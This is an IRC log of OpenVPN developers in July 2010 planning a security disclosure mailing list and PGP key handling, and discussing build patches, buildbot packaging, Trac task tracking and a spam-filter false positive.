13:26 < ecrist> you can lock them down 13:26 <@mattock> ecrist: ok, did not know that 13:26 <@mattock> perhaps that'd be the easiest way 13:26 <@dazo> Do we trust sf.net enough? 13:27 < ecrist> I don't see why we couldn't 13:27 < ecrist> would be bad pub for them for such a thing to be opened up 13:27 <@mattock> the mails go through countless of mail servers anyways, so... 13:28 <@dazo> that's true enough ... I was more worried if somebody at sf.net managed to leak out mails on our locked down list 13:28 < ecrist> I don't think this sort of thing needs to be that secretive 13:28 * dazo is just very careful by nature 13:28 <@mattock> as long as we fix the issues in a timely manner we should not need to worry 13:28 <@dazo> fair enough 13:29 <@mattock> and I don't many try to sells exploits that are known to the vendor already... if dazo was thinking along those lines 13:29 < jamesyonan> the members of the security team could always exchange PGP public keys and use them to discuss issues of critical sensitivity 13:30 <@mattock> yep, that's true 13:30 < ecrist> that is an option 13:31 <@dazo> agreed 13:32 <@mattock> what if we do this: 13:32 <@mattock> - create a closed security mailinglist 13:32 <@mattock> - disclose the issues in 3 weeks or less, if a fix is ready 13:32 <@mattock> - if a fix is not ready in 3 weeks, disclose the issue (and provide workarounds, if any), then fix the issue a.s.a.p. 13:32 <@mattock> - inform (some) package maintainers about upcoming fixes, before disclosure 13:32 <@mattock> - include key community members in the security mailinglist 13:33 < ecrist> I think all major package maintainers and vendors should be allowed on the list. 13:33 <@dazo> +1 13:33 < ecrist> i.e. Snom who has an OpenVPN client on their VOIP phones. 13:33 < jamesyonan> +1 13:34 <@mattock> +1, as long as we can somehow verify the trustworthiness of those on the list 13:34 <@dazo> jamesyonan: when you received such alerts earlier ... can you describe that process? Whom contacted you? How did they contact you? When and how did it get disclosed? 13:34 <@mattock> common sense helps, of course :) 13:35 < jamesyonan> usually these issues are first found by security researchers 13:35 < jamesyonan> they communicate the issue to me via encrypted email 13:36 < jamesyonan> There's different classes of issues 13:37 < jamesyonan> Some issues are theoretical only (these are often found by automated source code analysis tools) 13:37 < jamesyonan> Some issues are really issues in other software but that affect OpenVPN 13:38 < jamesyonan> An example of the latter is the infamous random number bug that was introduced a few years ago into debian OpenSSL 13:39 <@mattock> I think the "external software issues" should be disclosed a.s.a.p. 13:39 <@dazo> mattock: +1 13:39 < jamesyonan> the latter bug would cause keys to lack entropy 13:39 <@mattock> and perhaps the theoretical ones, too 13:39 < ecrist> but a workaround should be available, as well. 13:40 < ecrist> I think the theoretical ones should be patched, the same as other critical ones. 13:40 <@dazo> mattock: but! it such announcements needs in these situations to be coordinated with the other group ... so that we don't announce something which they need more time on to fix 13:40 < jamesyonan> yes the "external software issues" are usually announced without any coordination with the OpenVPN project 13:41 < jamesyonan> In the case of the Debian random number bug, there wasn't much the OpenVPN project could do except to encourage people to update their OpenSSL package 13:41 <@dazo> as long as we're not in the loop, then that's very fine ... but if we get to know about an "external" issue, we need to respect any embargo defined by the "external" part 13:42 <@mattock> dazo: agreed 13:43 <@dazo> re: theoretical issues ... yes, we can disclose it almost asap, as soon as we have evaluated it to really be theoretical 13:44 < jamesyonan> many OpenSSL vulnerabilities that have occurred over the years could be protected against by using tls-auth 13:44 <@dazo> but I would be more careful there ... as there's enough clever guys on the internet who can make theoretical work in practice 13:44 <@mattock> we can also discuss each issue separately on the security mailinglist 13:44 <@mattock> if there are bordercases 13:44 <@dazo> +1 13:45 <@mattock> and I agree with ecrist that all, even theoretical, issues should be fixed 13:45 <@dazo> +1 13:45 <@mattock> of course, I have not seen what amount of noise automated code analysis tools create, so... 13:45 < jamesyonan> the policy of the project has always been to fix all potential security issues, even theoretical issues for which there is no known exploit 13:46 <@mattock> I think that's a good policy 13:46 <@dazo> agreed 13:48 <@mattock> ok, so in a nutshell: 13:48 <@mattock> - inform our users of problems in external software (and possible workarounds) after the external party has disclosed the vulnerability 13:48 <@mattock> - fix all security issues (theoretical and real) in the given time 13:48 <@mattock> - if necessary, discuss issues on a case-by-case basis on -security ml 13:48 <@mattock> do we want to use PGP? 13:48 <@dazo> pgp, please 13:48 <@cron2> yes 13:49 <@mattock> ok, what if I add "check what SF.net mailing lists can do for us" to my TODO list? 13:49 < ecrist> works for me 13:49 <@mattock> and then proceed with discussing who's gonna be on the list 13:50 <@dazo> +1 13:50 < ecrist> +1 13:50 < jamesyonan> +1 13:50 <@mattock> jamesyonan: what about the initial mails from security analysts? could they go directly to the mailinglist? 13:50 <@mattock> or do they need to go through you first? 13:51 < jamesyonan> usually they go to me first 13:51 < jamesyonan> the researcher might not know about the existence of the list unless we publicize it 13:52 < ecrist> I think an effort to publish the existence of the list is appropriate 13:52 <@mattock> ecrist: agreed 13:52 <@dazo> it might be reasonable to consider mentioning it on the official web pages and community pages 13:52 <@mattock> let's do that when the list is up and working 13:52 <@mattock> the publishing part I mean 13:53 < jamesyonan> if we wanted to set up a system for security researchers or other members of the general public to submit security concerns, it might be reasonable to set up an official PGP public key that could be used to encrypt the communications. 13:53 <@mattock> +1 13:53 < ecrist> and distribute that key to members? 13:53 < jamesyonan> We could also provide a basic security issue submission web app over https. 13:53 < ecrist> auto-send to the list 13:53 <@mattock> I was just wondering how PGP works in a mailing list scenario... 13:54 <@dazo> mattock: you need to encrypt with all recipients pubkeys, afaik 13:54 < ecrist> I think the only way to do it is to either know everyone on the list and encrypt to each, or have one key pair for the whole list 13:54 <@dazo> I like the submission webapp ... that sounds "simpler" 13:54 <@mattock> perhaps one keypair is simpler for everyone 13:55 < ecrist> we could change it every 12 mos, perhaps 13:55 <@dazo> but more difficult to track authenticity ... can you trust that nobody didn't loose the key (with or without knowing it)? 13:56 < ecrist> dazo, I think it's not so important to authenticate the message as it is to keep it private 13:56 <@dazo> yeah, with a recycling, that makes sense ... but you'll still need to save the old keys to read old messages 13:56 <@mattock> if somebody's key is compromised, the attacker still needs to somehow receive that person's mails 13:59 <@mattock> I mean, is there any security benefit to using separate PGP keys and encrypting the same mail 10 times over? 13:59 <@mattock> or rather 10 times in a row 13:59 <@dazo> True ... but in a long term perspective, I think it might be better to have a webapp ... which will take the message, encrypt it with all pubkeys it got available and send it to the mailing list 13:59 < ecrist> mattock: the issue comes from having to get all members' keys, and the potential to miss keys for new members 14:00 < ecrist> dazo, we need to consider the email exchange that would take place in the process 14:00 <@mattock> ecrist: agreed... there might be a lot of email exchange after the initial submission 14:01 <@mattock> in which case sending mails so that everyone can read them can be a terrible pain 14:01 <@mattock> depending on the mail client, I guess 14:01 <@dazo> ecrist: if the webapp get the message from the reporter via https ... webapp encrypts the message with X pubkeys ... it will send one mail to the mailing list which can be decrypted by all recipients 14:01 < ecrist> I know. 14:01 <@mattock> dazo: what about the response to that initial mail? 14:01 < ecrist> but what happens when I want to respond to that message 14:02 <@mattock> the response has to be encrypted by the responding user several times with separate keys... which may be an issue 14:02 <@dazo> the webapp would simply request a valid e-mail address ... and use that as From: in the mail header 14:02 <@dazo> ahh 14:03 <@mattock> dazo: did you see the light? :) 14:03 < ecrist> I use apple mail, so I have to do all this by hand (since I'm not interested in changing client) 14:03 < ecrist> which makes it really difficult 14:03 <@dazo> maybe ... it would require much more of the sender to add all the pubkeys to the encryption, yes 14:03 <@mattock> I guess it's the same with Thunderbird 14:04 <@dazo> Enigmail do have some clever tricks up the sleeve, I think ... with some aliasing ... or "add these keys when sending to xxxx" 14:04 < ecrist> GPGMail for OS X up to 10.5 was nice, but apple breaks many nice plugins 14:04 < ecrist> :\ 14:05 <@mattock> if there's a concrete benefit in using separate keys then we should reconsider... but if not, using one keypair makes more sense 14:05 <@mattock> I think we should reconsider this after a good night's sleep 14:05 <@mattock> no need to carve this into a stone right now 14:06 <@dazo> mattock: pro for one key pair - easy to setup and get started, cons: more vulnerable if key is lost + need to rekey regularly 14:07 < ecrist> unless we were to setup some remailer, to which we encrypted the message, it decrypted, and re-encrypted to each user. 14:07 <@dazo> mattock: pro for several key pairs - individial setup per recipient requires no maintenance from ML admin ... cons: might miss new-comers + some mail clients are more tricky + (I forgot now) 14:08 < jamesyonan> for the security submission web app, I would just have a script that loops through each recipient's public key and remails to them. 14:09 <@dazo> ecrist: good idea, probably the best solution though ... but someone need time to do it 14:09 < jamesyonan> I'm not a big fan of shared private keys 14:09 <@mattock> however, if the "global" private key is lost, the attacker still needs to get to the actual encrypted mails somehow... and if he does not have access to a mail account on -security mailing list, how can he read the mails? 14:10 <@mattock> and if some of us gets his/her machine cracked, then it's irrelevant if it was a "global" key or the person's own PGP key 14:10 <@mattock> right? 14:10 <@dazo> jamesyonan: you wouldn't need much changes to the webapp to just add '-r ' to a gpg encryption process in that iteration instead, and send it once to the ML 14:10 < jamesyonan> dazo: yes 14:10 < ecrist> honestly, the timeframe we're looking at, I think this all may be a little overkill 14:10 <@mattock> ecrist: agreed, hence ^ 14:11 <@dazo> but temporary solutions have a tendency to become "temporary" for a long time, especially if it does its job pretty decent 14:11 < ecrist> I'm still more for the idea of an annual mailing list key pair 14:11 < ecrist> we can distribute through an ssh/sftp account to ml users 14:11 <@mattock> me too 14:13 <@mattock> did somebody understand what I was after in my monologue above? 14:14 <@dazo> mattock: I did 14:14 <@mattock> =me don't see problem in our scenario with using global keys 14:15 <@mattock> I'm just trying to keep things simple 14:15 <@dazo> mattock: I can agree to that, as long as ML members don't use that key to encrypt messages to the ML ... because communication on that ML should be possible to authenticate some how 14:16 <@mattock> ok, I see 14:17 < ecrist> I'll download thunderbird and play with some mailing lists I have control of and test some things out 14:17 <@dazo> I just checked the Enigmail add-on ... you can set up rules to add public keys when sending mails to specific recipients 14:17 <@mattock> on the other hand, we are constantly communicating with each other without any authentication (IRC, mailinglists) 14:17 <@mattock> but let's do some more research 14:18 <@mattock> if separate PGP keys is doable, then let's by all means do it 14:18 <@mattock> that'd be optimal 14:18 <@dazo> who does that research? 14:18 <@mattock> ecrist volunteered I guess :) 14:19 <@mattock> in fact, I can test Thunderbird + Enigmail, as I have it installed alrady 14:19 <@mattock> already 14:19 <@cron2> it's doable, but it depends on the mailing list software in use 14:19 <@mattock> I'll check the SF.net mailinglists... what they can do 14:20 <@mattock> could somebody else check how other email clients work with PGP multiple keys per mail? 14:21 <@mattock> any Outlook users? :) 14:21 <@dazo> poor bastards ... 14:21 * dazo hides 14:23 <@mattock> ok, should we discuss something else for a while... I'll do some research tomorrow and send mail to -devel 14:23 <@mattock> I think the "Release cycle" stuff would take too long, it's getting late 14:24 <@dazo> agreed, next week 14:24 <@mattock> cron2: what about the OpenBSD build failure? 14:24 <@mattock> which is this: https://community.openvpn.net/openvpn/ticket/17 14:24 < vpnHelper> Title: #17 (build failure on OpenBSD 4.7 IFF_MULTICAST) – OpenVPN (at community.openvpn.net) 14:24 <@cron2> well, I need an ACK on the patch... :-) 14:24 <@dazo> I've looked at the patch ... looks sensible to me, but I don't have any *BSD systems to test it on right now 14:25 <@cron2> mattock: how is buildbot coming along? 14:25 <@dazo> cron2: when it's tested ... I'll condense your 2 patches into one and commit it, hope you don't mind that 14:25 <@mattock> cron2: haven't touched it in ~1,5 weeks, been working on forums.openvpn.net 14:25 <@cron2> dazo: I'm fine with that. It just happened to happen that way 14:26 <@dazo> :) 14:26 <@mattock> however, I should be able to manage to make first Debian/Ubuntu packages using buildbot before end of this month 14:26 <@mattock> forums have been progressing pretty nicely 14:27 * dazo will spend some time rebasing the beta2.2 branch, to fix up some issues with wrongly based wintap branch 14:27 <@cron2> well, so it's up to krzee and frk to test the patch and report back... 14:27 <@dazo> fkr, I believe you meant :) 14:27 <@mattock> dazo: should the first buildbot packages be from beta2.2 branch? 14:28 <@mattock> or "allmerged"? 14:28 <@cron2> yes 14:28 <@mattock> although both can be provided pretty easily 14:28 <@dazo> mattock: yes please! :-P 14:28 <@cron2> +2 14:29 <@dazo> It makes sense to build both ... the difference is quite big already, with beta2.2 missing ipv6 stuff basically 14:29 <@mattock> cron2: just in case you haven't heard the status of buildbot... I managed to get it to build OpenVPN ("allmerged") and report any build problems via email to me 14:29 <@cron2> mattock: no I missed that. Cool! 14:29 <@cron2> which platform? 14:29 <@mattock> now it's just packaging stuff 14:30 <@mattock> Debian Lenny 14:30 <@mattock> I'll start with packaging for Debian Lenny, Ubuntu 9.10 and 10.04 ... I have easy access to all of those 14:31 <@mattock> and they're almost the same packaging-vise 14:33 <@mattock> dazo: I remember you talked about having a public task (or promise) list... 14:33 <@dazo> yeah ... that can basically be these meeting minutes 14:33 <@dazo> just list up subject, description and owner ... and we'll nag people to do their job until it's out of the list 14:34 <@mattock> could we use Trac tasks for that? 14:35 <@dazo> possibly, yes ... there's actually already a TODO list tracker there, iirc 14:36 <@dazo> (it just needs a report query on Type: TODO) 14:36 <@mattock> I think that'd be nicer than having a wiki page 14:37 <@mattock> dazo: could you create the query? 14:37 <@dazo> mattock: sure can do :) 14:37 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has quit [Read error: Connection reset by peer] 14:37 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 14:38 <@mattock> do I need to enter my own tasks to Trac, too? I have my own TODO list already ;) 14:38 -!- openvpn2009 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Ping timeout: 240 seconds] 14:38 -!- Guest12047 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 14:38 <@dazo> those important ones would be nice 14:39 <@mattock> I think it's nice if you guys can remember what I promised... although I (almost) always do what I promise 14:39 <@mattock> let's try the Trac TODO list tomorrow 14:39 <@mattock> see how it turns out 14:40 <@dazo> https://community.openvpn.net/openvpn/report/12 14:40 < vpnHelper> Title: Public TODO list – OpenVPN (at community.openvpn.net) 14:40 <@dazo> here you go :) 14:41 <@mattock> ok 14:41 <@mattock> are we done for today? 14:42 * dazo thinks so 14:42 * dazo hears thunder ... and is looking fwd to the rain after it ... just hopes it comes close enough ... 14:43 <@mattock> ok, I'll summarize the meeting tomorrow and test how Trac works for tracking promises :) 14:43 <@dazo> :) 14:44 <@mattock> I'll check the latest meeting summaries to see what promises are still unfulfilled and add them as tasks 14:44 <@dazo> mattock: thanks a lot!!! 14:44 <@mattock> I vaguely remember some bridge scripts... 14:44 <@mattock> no probs! 14:44 <@dazo> waldner was the one on that one, iirc 14:45 <@mattock> yep, my memory served me well :) 14:45 * dazo is more concerned about my forgotten tasks :-P 14:46 < waldner> https://community.openvpn.net/openvpn/wiki/OpenVPNBridging 14:46 < vpnHelper> Title: OpenVPNBridging – OpenVPN (at community.openvpn.net) 14:46 < waldner> (I didn't post it because I thought it was too late already) 14:46 <@mattock> waldner: great! 14:46 < waldner> :) 14:47 < waldner> unfortunately I don't have a chance to test OS X or Solaris (and few for *BSD), so somebody will probably need to fill those in 14:47 <@dazo> waldner: I think we're just in the door, about to leave the meeting room ... it's now all the interesting discussions surfaces ... those hallway discussions :-P 14:47 <@mattock> excellent stuff! 14:47 < waldner> the ASCII asrt diagram sucks, but I think is adequate for the purpose 14:48 < waldner> dazo: true 14:49 <@dazo> nah, ascii art is more than good enough 14:50 <@dazo> I looked through a PDF containing the AMQP specification (60 pages) ... and all "graphic" there was ascii art ... and I just thought: "This doc is written by developers and not marketing guys" :-P 14:52 * waldner looks up AMQP 14:52 < waldner> oh 14:53 <@dazo> http://www.amqp.org/confluence/display/AMQP/AMQP+Specification 14:53 < vpnHelper> Title: AMQP Specification - Advanced Message Queuing Protocol (at www.amqp.org) 14:53 <@dazo> (page 19 is funny) 15:05 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 15:35 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 15:39 < waldner> doh: http://www.ciscopress.com/articles/article.asp?p=605499 15:39 < vpnHelper> Title: How to Configure OpenVPN > OpenVPN Installation (at www.ciscopress.com) 15:42 -!- krzee [nobody@unaffiliated/krzee] has quit [Ping timeout: 240 seconds] 15:58 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 17:03 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 17:05 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 17:05 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 17:05 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 17:26 -!- Guest12047 is now known as openvpn2009 17:26 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 17:27 -!- dazo is now known as dazo_afk 22:24 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 22:30 -!- krzee [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 23:13 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel --- Day changed Fri Jul 16 2010 01:12 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:03 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 02:05 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:10 -!- dazo_afk is now known as dazo 03:16 <@dazo> mattock: would you mind signing my pubkey? 03:16 <@mattock> no probs... how do I do it? :) 03:16 <@mattock> any links? 03:17 <@dazo> mattock: TB - OpenPGP->Key Management ... locate key, right click and choose "Sign key" 03:17 <@mattock> I don't have that famous "Key management" menu... but I'll find the dialog from somewhere else 03:17 <@dazo> mattock: ahh .. you might need to enable "Advanced" or "Expert" mode 03:18 <@dazo> OpenPGP->Preferences ... on the "Basic" tab, it's a big button saying "Display expert settings" 03:19 <@dazo> odd .. Key management should be visible in "normal" mode as well 03:20 <@mattock> now it shows... I turned on expert menus 03:20 <@mattock> not sure what exactly was wrong 03:21 <@dazo> could be that Enigmail moved it out of Expert to Normal in some update :) 03:22 <@mattock> ok, I signed it now 03:23 <@mattock> do I need to export it or something? 03:23 <@mattock> I'm so green with PGP :) 03:24 <@dazo> yeah, you can use the "right-click-trick" on the key again, and choose upload to server, or something like that 03:24 <@mattock> or shall I send it to you in an email? 03:24 <@mattock> or upload to keyserver? 03:25 <@dazo> upload to keyserver ... that's the very best ... then the updated pubkey gets distributed to other keyservers 03:29 <@mattock> done... hope it works 03:29 <@mattock> I got to create a GnuPG key for samuli at openvpn too 03:32 <@dazo> you can also add mail identities to your existing keys as well 03:32 <@dazo> instead of creating separate keys 03:35 <@mattock> hmm... perhaps I'll do that 03:36 <@dazo> right-click on your key ... choose "Manage User IDs" ... that's all 03:41 <@mattock> all too easy... 03:41 <@mattock> done 03:41 <@dazo> nice :) 04:13 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:51 <@mattock> hmm... it seems 2.2 alpha was planned for by the end of this month 04:52 <@mattock> I'm one month behind in my mental schedule :) 04:52 <@mattock> correction: "I _was_" 05:03 <@dazo> yeah :) 05:03 <@dazo> I thought you had buildbot under control for the big big happening :) 05:04 <@dazo> re: calling it alpha ... I consider 'allmerged' being alpha code ... when we pick out the pieces we want to ship in a concrete release, that's a beta in my head .... hence calling the branch beta2.2 05:04 <@mattock> I thought so, but I mixed up the dates ... 05:05 <@mattock> anyways, the TODO stuff is now in Trac 05:05 <@mattock> for the most part 05:05 <@mattock> some are TODO, some are bugs 05:05 <@dazo> and when we're seeing beta2.2 getting into shape, we're entering the RC phase ... where only bugfixes related to this release should go in 05:05 * dazo looks 05:06 <@mattock> I hope there are no already fixed issues there 05:06 <@mattock> I did not add all of my own tasks which are already in my todo list 05:06 <@mattock> some I did 05:12 <@dazo> Looking good! Re: the "exclude ping" issue ... I believe waldner did send an email about the testing to the ML, I've just not had time to look at it ... but the consensus was that it behaved as expected 05:12 <@dazo> We need to get this one on the agenda next week! 05:12 < waldner> dazo: I didn't 05:12 < waldner> should I? 05:13 * dazo thought he read something about it 05:13 <@dazo> waldner: did you only post it here in irc? 05:13 <@mattock> waldner: did the patch work as expected? 05:13 < waldner> I posted it here 05:13 < waldner> yes 05:13 <@dazo> ahh ... that explains why I didn't find it :) 05:13 < waldner> as far as I can tell 05:13 < waldner> but firther testing is welcome 05:13 <@mattock> ok, then the bug report should be closed 05:13 < waldner> *further 05:13 <@dazo> please send your results to the mailing list, just reply to the patch thread 05:13 <@mattock> yeah, good idea 05:13 < waldner> ok, an dI will point to the trac page where testing is explained so others can test it 05:14 <@dazo> don't close the ticket yet ... let's discuss it on the meeting ... if james is happy with the testing, I'm ready to pull it in 05:14 <@dazo> waldner: perfect! 05:14 <@dazo> thanks a lot! 05:14 < waldner> np 05:14 <@mattock> dazo: ok 05:14 < waldner> as I said, these issues are the perfect candidate for automated testing 05:14 <@mattock> yep 05:16 <@dazo> totally agree! 05:19 <@dazo> mattock: what about Beaker for automated testing .... is that put on hold ... or what's the status here? 05:20 <@mattock> the issue is that I'm just one half-time guy with half of my half-time spent doing community management :) 05:20 <@mattock> so no progress on beaker front 05:20 <@mattock> next week my part of forums.openvpn.net should be mostly done 05:20 <@mattock> after that I'll move back to Buildbot + packaging 05:21 <@mattock> and once that's settled, I can again think about beaker 05:21 <@mattock> or that's my plan, at least :) 05:21 <@mattock> -> eat 05:22 <@dazo> mattock: that's fine! Just needed to know how we were here ... could probably go into the TODO list as well, as a generic 'testing infrastructure' ... so that we have an idea 05:22 <@mattock> good idea... could you perhaps create a ticket and assign it to me? (got to go for lunch) 05:22 <@dazo> mattock: will do! 05:24 <@dazo> mattock: ticket #27 05:33 <@dazo> waldner: please update https://community.openvpn.net/openvpn/ticket/26 ... if you put a reference to testing doc here, that'd be great! 05:33 < vpnHelper> Title: #26 (Verify that the "Exclude ping and control packets from activity" patch does not have nasty side-effects) – OpenVPN (at community.openvpn.net) 05:37 < waldner> done 05:54 <@dazo> thx! 05:57 <@dazo> Great job indeed! 07:40 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Read error: Connection reset by peer] 07:48 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 07:55 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 09:23 <@mattock> dazo: thanks! 09:45 <@dazo> you're welcome! 10:05 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 10:13 -!- krzie [~k@unaffiliated/krzee] has quit [Ping timeout: 240 seconds] 10:20 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 10:59 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:15 <@dazo> jamesyonan: Hi! If you have time, would you mind to have a look at this one? https://community.openvpn.net/openvpn/wiki/PingInactivePatch ... regarding the inactive ping patch we discussed a few weeks ago, here's how it has been tested ... do you find it good enough? 11:15 < vpnHelper> Title: PingInactivePatch – OpenVPN (at community.openvpn.net) 11:17 < jamesyonan> that looks good 11:17 < jamesyonan> so I presume all the tests passed? 11:34 <@dazo> jamesyonan: waldner says so ... and based on that, I'm willing to pull it in 11:35 < jamesyonan> I agree 11:35 <@dazo> Then I'll do that during the weekend or so 11:35 <@dazo> Thanks for looking at it! 11:38 -!- krzee [~k@unaffiliated/krzee] has quit [Read error: Connection timed out] 11:39 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 12:51 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 13:12 < chantra> arg, trying to upload a patch to https://community.openvpn.net/openvpn/ticket/5 13:12 < vpnHelper> Title: #5 (Fix OpenSSL-1.0.0 compilation warnings) – OpenVPN (at community.openvpn.net) 13:12 < chantra> and got error Submission rejected as potential spam (Content contained these blacklisted patterns: 'LED') 13:12 < chantra> :s 13:12 < chantra> $ grep LED /tmp/0001-Fixes-openssl-1.0.0-compilation-warning.patch msg (D_HANDSHAKE, "CRL CHECK FAILED: %s is REVOKED",subject); 13:14 < waldner> read the note in the wiki home page 13:14 < waldner> about bayesian filter etc 13:15 < chantra> well, I gzipped it :) 13:15 < chantra> waldner: i have register my real name... already 13:16 < waldner> ah, ok so it might be that the bayesian filter is misbehaving 13:17 < chantra> well, it checked the content of the file .... and found LED in FAILED :) 13:17 < chantra> maybe those terms should be checked with leading and/or trailing whitespaces 13:17 < waldner> (end even then...) 13:17 < chantra> mattock: cant remember if it is you dealing with trac 13:18 < chantra> well, anyway gzipping did the trick, but it would be easier to few patches containing LED or such directly online :) 13:24 < chantra> -few + view 13:40 -!- dazo is now known as dazo_afk 15:05 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 15:35 <@mattock> chantra: seems the regexps from Trac-hacks and trac.edgewall.com catch things too easily 15:35 <@mattock> I'll fix the issue 15:36 <@mattock> ok, done 15:40 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 15:42 -!- waldner_ [~waldner@unaffiliated/waldner] has joined #openvpn-devel 15:42 -!- waldner_ [~waldner@unaffiliated/waldner] has quit [Read error: Connection reset by peer] 17:05 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 20:08 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 22:11 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 23:33 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 23:34 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 23:34 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Sat Jul 17 2010 01:24 -!- mape2k [~mape2k@p5B283770.dip.t-dialin.net] has joined #openvpn-devel 02:20 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:53 -!- mape2k [~mape2k@p5B283770.dip.t-dialin.net] has quit [Ping timeout: 265 seconds] 06:26 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 08:34 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 09:00 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 09:23 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 10:00 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 12:28 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel --- Log closed Sat Jul 17 14:30:15 2010 --- Log opened Sat Jul 17 14:33:39 2010 14:33 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 14:33 -!- Irssi: #openvpn-devel: Total of 16 nicks [4 ops, 0 halfops, 0 voices, 12 normal] 14:37 -!- Irssi: Join to #openvpn-devel was synced in 346 secs 14:47 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 17:13 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel --- Log closed Sat Jul 17 18:49:39 2010 --- Log opened Sat Jul 17 18:49:44 2010 18:49 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 18:49 -!- Irssi: #openvpn-devel: Total of 16 nicks [4 ops, 0 halfops, 0 voices, 12 normal] 18:50 -!- Irssi: Join to #openvpn-devel was synced in 32 secs 19:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Sun Jul 18 2010 05:31 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:53 -!- Netsplit *.net <-> *.split quits: krzee, waldner, berniv6, agi, @raidz, yam, @openvpn2009 05:54 -!- Netsplit over, joins: krzee, waldner, @openvpn2009, @raidz, agi, yam, berniv6 09:50 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 252 seconds] 09:52 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn-devel 09:54 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Excess Flood] 09:55 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn-devel 15:16 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 23:31 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 23:45 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Mon Jul 19 2010 00:22 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 01:23 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:23 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:23 -!- dazo_afk is now known as dazo 04:50 <@mattock> importing ovpnforum.com user accounts into LDAP with random passwords seems straightforward enough... 04:50 <@mattock> should be able to start working on buildbot on wednesday 05:16 <@dazo> sounds great! 05:16 <@dazo> I've not had much time to do OpenVPN stuff - as I did plan ... other more urgent issues surfaced 06:20 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 06:23 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 06:33 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 252 seconds] 06:42 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] 